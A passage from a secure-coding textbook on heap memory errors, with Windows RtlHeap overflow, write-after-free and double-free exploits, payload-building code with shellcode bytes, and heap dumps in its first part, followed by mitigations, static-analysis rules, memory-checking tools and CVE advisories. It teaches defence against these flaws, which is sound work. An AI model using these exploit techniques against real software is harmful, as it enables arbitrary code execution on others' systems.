Example 4.19 shows another program that is vulnerable to a heap-based overflow resulting from the strcpy() on line 8. This program is different from the vulnerable program shown in Example 4.18 in that there are no calls to HeapFree(). A heap is created on line 5, and a single chunk is allocated on line 7. At this time, the heap around h1 consists of a segment header, followed by the memory allocated for h1, followed by the segment trailer. When h1 is overflowed on line 8, the resulting overflow overwrites the segment trailer, including the LIST_ENTRY structure that points (forward and back) to the start of the free lists at FreeList[0]. In our previous exploit, we overwrote the pointers in the free list for chunks of a given length. In this case, these pointers would be referenced again only if a program requested another freed chunk of the same size. However, in this exploit, these pointers will likely be referenced in the next call to RtlHeap—triggering an exception.

Example 4.19. Program Vulnerable to Heap-Based Overflow

Click here to view code image

---

01  int mem(char *buf) {
02    HLOCAL h1 = 0, h2 = 0;
03    HANDLE hp;
04
05    hp = HeapCreate(0, 0x1000, 0x10000);
06    if (!hp) return -1;
07    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
08    strcpy((char *)h1, buf);
09    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 260);
10    puts("we never get here");
11    return 0;
12  }
13
14  int main(void) {
15    HMODULE l;
16    l = LoadLibrary("wmvcore.dll");
17    buildMalArg();
18    mem(buffer);
19    return 0;
20  }

---

Figure 4.20 shows the organization of the heap after the call to HeapAlloc() on line 7. The h1 variable points at 0x00ba0688, which is the start of user memory. In this example, the actual user space is filled with 0x61 to differentiate it from other memory. Because the allocation of 260 bytes is not a multiple of 8, an additional 4 bytes of memory are allocated by the memory manager. These bytes still have the value 0x00 in the figure. Following these bytes is the start of a large free chunk of 2,160 bytes (0x10e x 8). Following the 8-byte boundary tags are the forward pointer (flink) and backward pointer (blink) to FreeList[0] at 0x00ba0798 and 0x00ba079c. These pointers can be overwritten by the call to strcpy() on line 8 to transfer control to user-supplied shellcode.

Example 4.20 contains code that can be used to create a malicious argument for attacking the vulnerability in the mem() function. The calls to strcat() on lines 10 and 11 overwrite the forward and backward pointers in the trailing free block. The forward pointer is replaced by the address to which control will be transferred. The backward pointer is replaced by the address to be overwritten.

Example 4.20. Preparation of Shellcode for Buffer Overflow

Click here to view code image

---

01  char buffer[1000] = "";
02  void buildMalArg() {
03    int addr = 0, i = 0;
04    unsigned int systemAddr = 0;
05    char tmp[8] = "";
06    systemAddr = GetAddress("msvcrt.dll","system");
07    for (i=0; i < 66; i++) strcat(buffer, "DDDD");
08    strcat(buffer, "xebx14");
09    strcat(buffer, "x44x44x44x44x44x44");
10    strcat(buffer, "x73x68x68x08");
11    strcat(buffer,"x4cx04x5dx7c");
12    for (i = 0; i < 21; i++) strcat(buffer,"x90");
13    strcat(buffer,
14       "x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9");
15    fixupaddresses(tmp, systemAddr);
16    strcat(buffer,tmp);
17    strcat(buffer,"xFFxD1x90x90");
18    return;
19  }

---

Instead of overwriting the return address on the stack, an attacker can overwrite the address of an exception handler. This almost guarantees that an exception will occur the next time the heap is accessed because the overflow is overwriting control structures in the heap.

It is possible for an attacker to overwrite function-level pointers to exception handlers that are placed in the stack frame for the function, as shown in Chapter 3. If no handler is specified, the exception is handled by the top-level exception handler of each thread and process. This exception handler can be replaced by an application using the SetUnhandledExceptionFilter() function. The following code shows the disassembly for this function:

Click here to view code image

1  [ SetUnhandledExceptionFilter(myTopLevelFilter); ]
2  mov ecx, dword ptr [esp+4]
3  mov eax, dword ptr ds:[7C5D044Ch]
4  mov dword ptr ds:[7C5D044Ch], ecx
5  ret 4

The function simply replaces the address of the existing unhandled exception filter with the address of a filter supplied by the user. It is readily apparent from examining the disassembly that the location of this filter is 0x7C5D044C.⁸ This value, x4cx04x5dx7c in little endian format, is appended to the malicious argument on line 13 in Example 4.20. This address overwrites the backward pointer in the trailing free chunk as a result of the buffer overflow. After the buffer overflow occurs and an exception is triggered, control is transferred to the user-supplied address and not to the unhandled exception filter.

8. The location of the unhandled exception filter varies among Windows releases. For Windows XP Service Pack 1, for example, the unhandled exception filter is stored at 0x77ed73b4. However, viewing the disassembly for the SetUnhandledExceptionFilter() function in the Visual C++ debugger is a simple and reliable method of determining the address of the unhandled exception filter.

Normally, the address used to overwrite the forward pointer is the address of the shellcode. Because RtlHeap subsequently overwrites the first 4 bytes of the shellcode, it may be easier for an attacker instead to indirectly transfer control to the shellcode using trampolines.

Trampolines allow an attacker to transfer control to shellcode when the absolute address of the shellcode is not known ahead of time. If a program register contains a value relative to the shellcode address, control can be transferred to the shellcode by first transferring control to a sequence of instructions that indirectly transfers control via the register. This sequence of instructions—a trampoline—at a well-known or predictable address provides a reliable mechanism for transferring control to the shellcode.

When called, the unhandled exception filter is passed a pointer to the EXCEPTION_POINTERS structure. Upon invocation, the esi register contains the address of this structure. At an offset of 76 (0x4c) bytes from the value of esi is an address that points back into the shellcode buffer, providing the trampoline. Executing the instruction call dword ptr[esi+0x4c] transfers control to the shellcode.

Trampolines can be located statically by examining the program image or dynamic-link library or dynamically by loading the library and searching through memory. Both approaches require an understanding of the portable executable (PE) file format.⁹

9. Microsoft introduced the PE file format as part of the original Win32 specifications. However, PE files are derived from the earlier common object file format (COFF) found on VAX/VMS. This makes sense because much of the original Windows NT team came from Digital Equipment Corporation.

Example 4.21. RtlHeap Write to Freed Memory

Click here to view code image

---

01  typedef struct _unalloc {
02    PVOID fp;
03    PVOID bp;
04  } unalloc, *Punalloc;
05  char shellcode[] = "x90x90x90xb0x06x90x90";
06  int main(int argc, char * argv[]) {
07    Punalloc h1;
08    HLOCAL h2 = 0;
09    HANDLE hp;
10    hp = HeapCreate(0, 0x1000, 0x10000);
11    h1 = (Punalloc)HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
12    HeapFree(hp, 0, h1);
13    h1->fp = (PVOID)(0x042B17C - 4);
14    h1->bp = shellcode;
15    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
16    HeapFree(hp, 0, h2);
17    return 0;
18  }

---

When h1 is freed, it is placed on the list of free 32-byte chunks. While on the free list, the chunk’s first doubleword of usable memory holds the forward pointer to the next chunk on the list, and the second doubleword holds the backward pointer. In this example, there is only one freed chunk, so both the forward and backward pointers reference the head of the list. The forward pointer, in our example, is replaced by the address to overwrite minus 4 bytes. The backward pointer is overwritten with the address of the shellcode.

It is now possible to trick HeapAlloc() into writing the second doubleword to the address specified by the first doubleword by requesting a block of the same size as the manipulated chunk. The call to HeapAlloc() on line 15 causes the address of HeapFree() to be overwritten with the address of our shellcode so that when HeapFree() is invoked on line 16, control is transferred to the shellcode.

Example 4.22 shows a program containing a double-free vulnerability and associated exploit for Windows 2000. Output calls are removed for readability.

The vulnerable program allocates five chunks of memory of various sizes on lines 7 through 16 and stores them in the variables h1, h2, h3, h4, and h5. The program then frees h2 on line 17 and h3 on line 18 before attempting to free h3 a second time on line 19.

Example 4.22. RtlHeap Double-Free Vulnerability

Click here to view code image

---

01  char buffer[1000] = "";
02  int main(int argc, char *argv[]) {
03    HANDLE hp;
04    HLOCAL h1, h2, h3, h4, h5, h6, h7, h8, h9;
05
06    hp = HeapCreate(0,0x1000,0x10000);
07    h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
08    memset(h1, 'a', 16);
09    h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
10    memset(h2, 'b', 16);
11    h3 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 32);
12    memset(h3, 'c', 32);
13    h4 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 16);
14    memset(h4, 'd', 16);
15    h5 = HeapAlloc(hp, HEAP_ZERO_MEMORY,8);
16    memset(h5, 'e', 8);
17    HeapFree(hp, 0, h2);
18    HeapFree(hp, 0, h3);
19    HeapFree(hp, 0, h3);
20    h6 = HeapAlloc(hp, 0, 64);
21    memset(h6, 'f', 64);
22    strcpy((char *)h4, buffer);
23    h7 = HeapAlloc(hp, 0, 16);
24    puts("Never gets here.");
25  }

---

Example 4.23 shows the status of the heap after h2 is freed on line 17 of Example 4.22.¹⁰ The top portion of the output shows the status of the free-list structures. FreeList[0] contains a single free chunk at 0x00BA0708 and a second free chunk on FreeList[3] at 0x00BA06A0. This free chunk, h2, is on FreeList[3] because this list contains free chunks of 24 bytes and h2 is 24 bytes in length, including the 16-byte user area and the 8-byte header.

10. Interestingly, a second free of h2 at this time fails.

Example 4.23. Heap after h2 Is Freed

Click here to view code image

---

freeing h2: 00BA06A0
List head for FreeList[0] 00BA0178->00BA0708
Forward links:
Chunk in FreeList[0] -> chunk: 00BA0178
Backward links:
Chunk in FreeList[0] -> chunk: 00BA0178
List head for FreeList[3] 00BA0190->00BA06A0
Forward links:
Chunk in FreeList[3] -> chunk: 00BA0190
Backward links:
Chunk in FreeList[3] -> chunk: 00BA0190

00BA0000+
0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa
0690 61 61 61 61 61 61 61 61 03 00 03 00 00 00 08 00 aaaaaaaa........
06a0 90 01 ba 00 90 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb
06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc
06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc
06d0 63 63 63 63 63 63 63 63 03 00 05 00 00 01 08 00 cccccccc........
06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd
06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee
0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00  .......x...x...

---

The lower portion of Example 4.23 shows the contents of memory, starting with 8 bytes before the start of h1. Each memory chunk can be clearly identified because each is filled with the corresponding letter in the English alphabet. The 8-byte headers can clearly be seen as well. Because h2 has already been freed, it has been added to the free list. The first 8 bytes of the user area for h2, starting at 0x00ba06a0, have been overwritten with forward and backward pointers to the list header.

Example 4.24 shows the heap after h3 is freed for the first time on line 18 of Example 4.22. Because h2 and h3 were adjacent, the two chunks are coalesced. This is apparent because the free chunk on FreeList[3] has been replaced by a chunk on FreeList[8] because h3 is 40 bytes (including the 8-byte header) and the space originally allocated to h2 is 24 bytes, meaning that the free, coalesced chunk is now 64 bytes in length. Because h3 was coalesced, there are no pointers in the first 8 bytes of the user area for h3, but the pointers in h2 have been updated to refer to FreeList[8].

Example 4.24. Heap after h3 Is Freed

Click here to view code image

---

freeing h3 (1st time): 00BA06B8
List head for FreeList[0] 00BA0178->00BA0708
Forward links:
Chunk in FreeList[0] -> chunk: 00BA0178
Backward links:
Chunk in FreeList[0] -> chunk: 00BA0178
List head for FreeList[8] 00BA01B8->00BA06A0
Forward links:
Chunk in FreeList[8] -> chunk: 00BA01B8
Backward links:
Chunk in FreeList[8] -> chunk: 00BA01B8

00BA0000+
0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa
0690 61 61 61 61 61 61 61 61 08 00 03 00 00 00 08 00 aaaaaaaa........
06a0 b8 01 ba 00 b8 01 ba 00 62 62 62 62 62 62 62 62 ........bbbbbbbb
06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc
06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc
06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........
06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd
06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee
0700 20 01 02 00 00 10 00 00 78 01 ba 00 78 01 ba 00  .......x...x...

---

So far, all the operations in the sample program have been valid. However, the second free of h3 in Example 4.22 is a programming error and security flaw. Example 4.25 illustrates what happens to the heap after h3 is freed a second time on line 19 of Example 4.22. Upon examination, it becomes apparent that the heap is corrupted. First, the free chunk has completely disappeared. Second, FreeList[0] now points to 0x00BA06A0—the original location of h2. Apparently, RtlHeap now believes that all the storage starting at 0x00BA06A0 belongs to a single, large free chunk of 2,408 bytes. However, two of our allocated chunks, h4 and h5, are in the middle of this supposedly unallocated area.

Example 4.25. Heap after h3 Is Double-Freed

Click here to view code image

---

freeing h3 (2nd time): 00BA06B8
List head for FreeList[0] 00BA0178->00BA06A0
Forward links:
Chunk in FreeList[0] -> chunk: 00BA0178
Backward links:
Chunk in FreeList[0] -> chunk: 00BA0178

00BA0000+
0680 03 00 08 00 00 01 08 00 61 61 61 61 61 61 61 61 ........aaaaaaaa
0690 61 61 61 61 61 61 61 61 2d 01 03 00 00 10 08 00 aaaaaaaa-.......
06a0 78 01 ba 00 78 01 ba 00 62 62 62 62 62 62 62 62 x...x...bbbbbbbb
06b0 05 00 03 00 00 01 08 00 63 63 63 63 63 63 63 63 ........cccccccc
06c0 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 cccccccccccccccc
06d0 63 63 63 63 63 63 63 63 03 00 08 00 00 01 08 00 cccccccc........
06e0 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 64 dddddddddddddddd
06f0 02 00 03 00 00 01 08 00 65 65 65 65 65 65 65 65 ........eeeeeeee
0700 20 01 0d 00 00 10 00 00 78 01 ba 00 78 01 ba 00  .......x...x...

---

This situation appears to be ripe for exploitation. We know that an attacker can transfer control to an arbitrary address by overwriting the forward and backward pointers to FreeList[0]. These pointers are currently located at 0x00BA06A0, but h2 is already freed, so there is no valid pointer to this address. Instead, the exploit allocates another 64 bytes, pushing the 8-byte header and the forward and backward pointers to 0x00ba06e0—the location of the memory chunk referenced by h4. Line 22 of Example 4.22 contains a strcpy() into h4 that overwrites the forward and backward pointers without writing outside the bounds of the memory chunk.

If this chunk is reallocated, the replaced flink pointer is copied into the header of the look-aside list. The next time a chunk is allocated from this list, the HeapAlloc() function will return this attacker-supplied value.

Although setting the pointer to NULL should significantly reduce vulnerabilities resulting from writing to freed memory and double-free vulnerabilities, it cannot prevent them when multiple pointers all reference the same data structure.

In systems with garbage collectors, all pointers or references should be set to NULL when the designated data is no longer needed. Otherwise, the data will not be garbage-collected. Systems without garbage collectors should deallocate the data before the last pointer or reference to the data is deleted.

• Use the same pattern for allocating and freeing memory. In C++, perform all memory allocation in constructors and all memory deallocation in destructors. In C, define create() and destroy() functions that perform an equivalent function.

• Allocate and free memory in the same module, at the same level of abstraction. Freeing memory in subroutines leads to confusion about if, when, and where memory is freed.

• Match allocations and deallocations. If there are multiple constructors, make sure the destructors can handle all possibilities.

Steadfast consistency is often the best way to avoid memory errors. MIT krb5 Security Advisory 2004-002¹¹ provides a good example of how inconsistent memory management practices can lead to software vulnerabilities.

11. See http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-002-dblfree.txt.

In the MIT krb5 library, in all releases up to and including krb5-1.3.4, ASN.1 decoder functions and their callers do not use a consistent set of memory management conventions. The callers expect the decoders to allocate memory. The callers typically have error-handling code that frees memory allocated by the ASN.1 decoders if pointers to the allocated memory are non-null. Upon encountering error conditions, the ASN.1 decoders themselves free memory they have allocated but do not NULL the corresponding pointers. When some library functions receive errors from the ASN.1 decoders, they attempt to pass the non-null pointer (which points to freed memory) to free(), causing a double-free.

This example also shows the value of setting dangling pointers to NULL.

phkmalloc was written to operate efficiently in a virtual memory system, which resulted in stronger checks as a side effect. The stronger checks led to the discovery of memory management errors in some applications and the idea of using phkmalloc to expose and protect against malloc-API mistakes and misuse [Kamp 1998]. This approach was possible because of phkmalloc’s inherent mistrust of the programmer. phkmalloc can determine whether a pointer passed to free() or realloc() is valid without dereferencing it. phkmalloc cannot detect if a wrong (but valid) pointer is passed but can detect all pointers that were not returned by a memory allocation function. Because phkmalloc can determine whether a pointer is allocated or free, it detects all double-free errors. For unprivileged processes, these errors are treated as warnings, meaning that the process can survive without any danger to the memory management data structures. However, enabling the A or abort option causes these warnings to be treated as errors. An error is terminal and results in a call to abort(). Table 4.2 shows some of the configurable options for phkmalloc that have security implications.

After the Concurrent Versions System (CVS) double-free vulnerability (see “CVS Server Double-Free”), the A option was made automatic and mandatory for sensitive processes (which were somewhat arbitrarily defined as setuid, setgid, root, or wheel processes):

if (malloc_abort || issetugid() ||
      getuid() == 0 || getgid() == 0)

A more complete description of the CVS server vulnerability and the security implications on phkmalloc are documented in “BSD Heap Smashing” [Smashing 2005].

Because of the success of pointer checks, the J (junk) and Z (zero) options were added to find even more memory management defects. The J option fills the allocated area with the value 0xd0 because when 4 of these bytes are turned into a pointer (0xd0d0d0d0), it references the kernel’s protected memory so that the process will abnormally terminate. The Z option also fills the memory with junk except for the exact length the user asked for, which is zeroed. FreeBSD’s version of phkmalloc can also provide a trace of all memory allocation and deallocation requests using the ktrace() facility with the U option.

phkmalloc has been used to discover memory management defects in fsck, ypserv, cvs, mountd, inetd, and other programs.

phkmalloc determines which options are set by scanning for flags in the following locations:

1. The symbolic link /etc/malloc.conf

2. The environment variable MALLOC_OPTIONS

3. The global variable malloc_options

Flags are single letters; uppercase means on, lowercase means off.

Randomizing memory addresses can occur in multiple locations. For both the Windows and UNIX operating systems, the memory manager requests memory pages from the operating system, which are then broken up into small chunks and managed as required by the application process. It is possible to randomize both the pages returned by the operating system and the addresses of chunks returned by the memory manager.

The OpenBSD kernel, for example, uses mmap() to allocate or map additional memory pages. The mmap() function returns a random address each time an allocation is performed as long as the MAP_FIXED flag is not specified. The malloc() function can also be configured to return random chunks. The result is that each time a program is run, it exhibits different address space behavior, making it harder for an attacker to guess the location of memory structures that must be overwritten to exploit a vulnerability. Because randomization can make debugging difficult, it can usually be enabled or disabled at runtime. Also, randomization adds an unpredictable but often significant performance overhead.

To deal with synchronization of multiple threads, jemalloc divides the heap into multiple subheaps called arenas. The probability of concurrent access to any single arena can be reduced by using four times as many arenas as processors, aiding scalability.

Several versions of jemalloc are available, from the canonical distribution for FreeBSD, Linux, Windows, and Mac OS to the default memory managers for Mozilla Firefox and NetBSD.

The jemalloc memory manager does not implement unlinking or front linking, which have proven to be catalytic for the exploitation of dlmalloc and Microsoft Windows allocators. Exploits have been demonstrated that focus instead on how to force memory allocation functions to return a chunk that is likely to point to an already initialized memory region in hope that the region in question may hold objects important for the functionality of the target application, such as virtual pointers (VPTRs), function pointers, and buffer sizes [huku 2012]. Considering the various anti-exploitation mechanisms present in modern operating systems (for example, address space layout randomization [ASLR] and data execution prevention [DEP]), such an outcome might be far more useful than an arbitrary memory write for an attacker [argp 2012].

ISO/IEC TS 17961 includes a number of rules meant to detect security flaws using standard C library functions, including the following:

[accfree] Accessing freed memory: After an allocated block of dynamic storage is deallocated by a memory management function, the evaluation of any pointers into the freed memory, including being dereferenced or acting as an operand of an arithmetic operation, type cast, or right-hand side of an assignment, shall be diagnosed.

[nullref] Dereferencing an out-of-domain pointer: Dereferencing a tainted or out-of-domain pointer shall be diagnosed.

[fileclose] Failing to close files or free dynamic memory when they are no longer needed: A call to a standard memory allocation function shall be diagnosed after the lifetime of the last pointer object that stores the return value of the call has ended without a call to a standard memory deallocation function with that pointer value.

[liberr] Failing to detect and handle standard library errors: Failure to branch conditionally on detection or absence of a standard library error condition shall be diagnosed. Table 4.4 lists standard C memory allocation functions and their return values on success and error.

[libptr] Forming invalid pointers by library function: A call to a standard memory allocation function is presumed to be intended for type T * when it appears in any of the following contexts:

• In the right operand of an assignment to an object of type T *

• In an initializer for an object of type T *

• In an expression that is passed as an argument of type T *

• In the expression of a return statement for a function returning type T *

A call to a standard memory allocation function taking a size integer argument n and presumed to be intended for type T * shall be diagnosed when n < sizeof(T).

[dblfree] Freeing memory multiple times: Freeing memory multiple times shall be diagnosed.

[uninitref] Referencing uninitialized memory: Accessing uninitialized memory by an lvalue of a type other than unsigned char shall be diagnosed.

To the greatest extent feasible, a static analysis should be both sound and complete with respect to enforceable rules. An analyzer is considered sound (with respect to a specific rule) if it does not give a false-negative result, meaning it is able to find all violations of a rule within the entire program. An analyzer is considered complete if it does not issue false-positive results, or false alarms. There are frequently trade-offs between false negatives and false positives for automated tools that require minimal human input and that scale to large code bases.

PurifyPlus includes two capabilities in addition to those of Purify. PurifyPlus performs code coverage and performance profiling and is also available for both Windows and Linux. It identifies lines of untested code and finds application performance bottlenecks.

Valgrind includes the memory-checking tool Memcheck that detects common memory errors. Such errors include accessing invalid memory, using uninitialized values, incorrect freeing of memory, and memory leaks. However, Memcheck does not check bounds on static arrays.

In the following code, Valgrind will detect a buffer overflow if an overly long string is supplied as input:

Click here to view code image

1  /* caesar.c */
2  #define LINELENGTH 80
3  /* ... */
4  if (!(inbuf = malloc(LINELENGTH)))
5  errx(1, "Couldn't allocate memory.");
6  while (fgets(inbuf, 100, infile)

Upon overflow, Valgrind produces a message similar to the following, noting that the block of 80 bytes of memory had bytes written after it.

Click here to view code image

[...lots of invalid read/write messages...]
==22501== Invalid write of size 1
==22501== at 0x401EB42: memcpy(mc_replace_strmem.c:406)
==22501== by 0x4085102: _IO_getline_info(in /lib/tls/...
==22501== by 0x4084FEE: _IO_getline(in /lib/tls/...
==22501== by 0x4083F18: fgets(in /lib/tls/i686/cmov/libc-2.3.6.so)
==22501== by 0x804888D: main (caesar.c:46)
==22501== Address 0x41603A7 is 15 bytes after block of size 80 alloc'd
==22501== at 0x401C621: malloc (vg_replace_malloc.c:149)
==22501== by 0x80487CA: main (caesar.c:43)
[...]
==22501== ERROR SUMMARY: 52 errors from 7 contexts
==22501== malloc/free: in use at exit: 2,032 bytes in 27 blocks.
==22501== malloc/free: 27 allocs, 0 frees, 2,032 bytes allocated.

Valgrind also detects the use of uninitialized values in the following program fragment:

Click here to view code image

1  /* in decrypt() of caesar.c */
2  int i;
3  /* ... */
4  if ((rot < 0) || ( rot >= 26))
5        errx(i, "bad rotation value");

In this case, Valgrind produces a message saying that the value of i is uninitialized:

Click here to view code image

==20338== Syscallparamexit_group contains uninitialized byte(s)
==20338== at 0x40BC4F4: _Exit (in /lib/tls/i686/cmov/libc-2.3.6.so)
==20338== by 0x40F8092: errx(in /lib/tls/i686/cmov/libc-2.3.6.so)
==20338== by 0x80488CC: decrypt (caesar.c:62)
==20338== by 0x8048848: main (caesar.c:51)
==20338==
==20338== ERROR SUMMARY: 1 errors from 1 contexts

Valgrind also helps detect the presence of memory leaks. For example, the following report shows that the analyzed program contains a number of memory leaks. Memory leaks can allow an attacker to cause a denial of service on an affected program.

Click here to view code image

==6436== 1,300 bytes in 13 blocks are lost in loss record 4 of 4
==6436== at 0x4022AB8: malloc (vg_replace_malloc.c:207)
==6436== by 0x80488FB: decrypt (caesar.c:64)
==6436== by 0x8048863: main (caesar.c:51)
==6436==
==6436== LEAK SUMMARY:
==6436== definitely lost: 1,432 bytes in 27 blocks.
==6436== possibly lost: 0 bytes in 0 blocks.
==6436== still reachable: 704 bytes in 2 blocks.
==6436== suppressed: 0 bytes in 0 blocks.

During compilation, Insure++ reads and analyzes the source code to insert tests and analysis functions around each line. Insure++ builds a database of all program elements. In particular, Insure++ checks for the following categories of dynamic memory issues:

• Reading from or writing to freed memory

• Passing dangling pointers as arguments to functions or returning them from functions

• Freeing the same memory chunk multiple times

• Attempting to free statically allocated memory

• Freeing stack memory (local variables)

• Passing a pointer to free() that does not point to the beginning of a memory block

• Calls to free with NULL or uninitialized pointers

• Passing arguments of the wrong data type to malloc(), calloc(), realloc(), or free()

One advantage of Application Verifier’s page heap test is that many errors can be detected as they occur. For example, an off-by-one-byte error at the end of a dynamically allocated buffer might cause an instant access violation. For error categories that cannot be detected instantly, the error report is delayed until the block is freed.

• US-CERT Technical Cyber Security Alert TA04-147A, www.us-cert.gov/cas/techalerts/TA04-147A.html

• US-CERT Vulnerability Note VU#192038, www.kb.cert.org/vuls/id/192038

When CVS processes an entry line, an additional memory byte is allocated to flag the entry as modified or unchanged. CVS does not check whether a byte has been previously allocated for the flag, which creates an off-by-one buffer overflow. By calling a vulnerable function several times and inserting specific characters into the entry lines, a remote attacker could overwrite multiple blocks of memory. In some environments, the CVS server process is started by the Internet services daemon (inetd) and may run with root privileges.

The data stub function in the RDS component contains an unchecked write to a buffer. This function parses incoming HTTP requests and generates RDS commands. The buffer overflow vulnerability could be exploited to cause a buffer overflow in allocated memory. This vulnerability is described in

• Microsoft Security Bulletin MS02-065, www.microsoft.com/technet/security/bulletin/MS02-065.mspx

• CERT Advisory CA-2002-33, www.cert.org/advisories/CA-2002-33.html

• CERT Vulnerability Note VU#542081, www.kb.cert.org/vuls/id/542081

This vulnerability can be exploited in two ways. The first involves an attacker sending a malicious HTTP request to a vulnerable service, such as an IIS server. If RDS is enabled, the attacker can execute arbitrary code on the IIS server. RDS is disabled by default on Windows 2000 and Windows XP systems. It can be disabled on other systems by following instructions in Microsoft’s security bulletin.

The other way to exploit this vulnerability involves a malicious Web site hosting a page that exploits the buffer overflow in the MDAC RDS stub through a client application, such as Internet Explorer. The attacker can run arbitrary code as the user viewing the malicious Web page. Most systems running Internet Explorer on operating systems prior to Windows XP are vulnerable to this attack.

• CERT Advisory CA-2003-02, www.cert.org/advisories/CA-2003-02.html

• CERT Vulnerability Note VU#650937, www.kb.cert.org/vuls/id/650937

The CVS server component contains a double-free vulnerability that can be triggered by a set of specially crafted directory change requests. While processing these requests, an error-checking function may attempt to free() the same memory reference more than once. As described in this chapter, deallocating already freed memory can lead to heap corruption, which may be leveraged by an attacker to execute arbitrary code.

• MIT krb5 Security Advisory 2004-002, http://web.mit.edu/kerberos/advisories/MITKRB5-SA-2004-002-dblfree.txt

• US-CERT Technical Cyber Security Alert TA04-247A, www.us-cert.gov/cas/techalerts/TA04-247A.html

• US-CERT Vulnerability Note VU#866472, www.kb.cert.org/vuls/id/866472

In particular, VU#866472 describes a double-free vulnerability in the krb5_rd_cred() function in the MIT Kerberos 5 library. Implementations of krb5_rd_cred() before the krb5-1.3.2 release contained code to explicitly free the buffer returned by the ASN.1 decoder function decode_krb5_enc_cred_part() when the decoder returns an error. This is a double-free because the decoder would itself free the buffer on error. Because decode_krb5_enc_cred_part() does not get called unless the decryption of the encrypted part of the Kerberos credential is successful, the attacker needs to have been authenticated.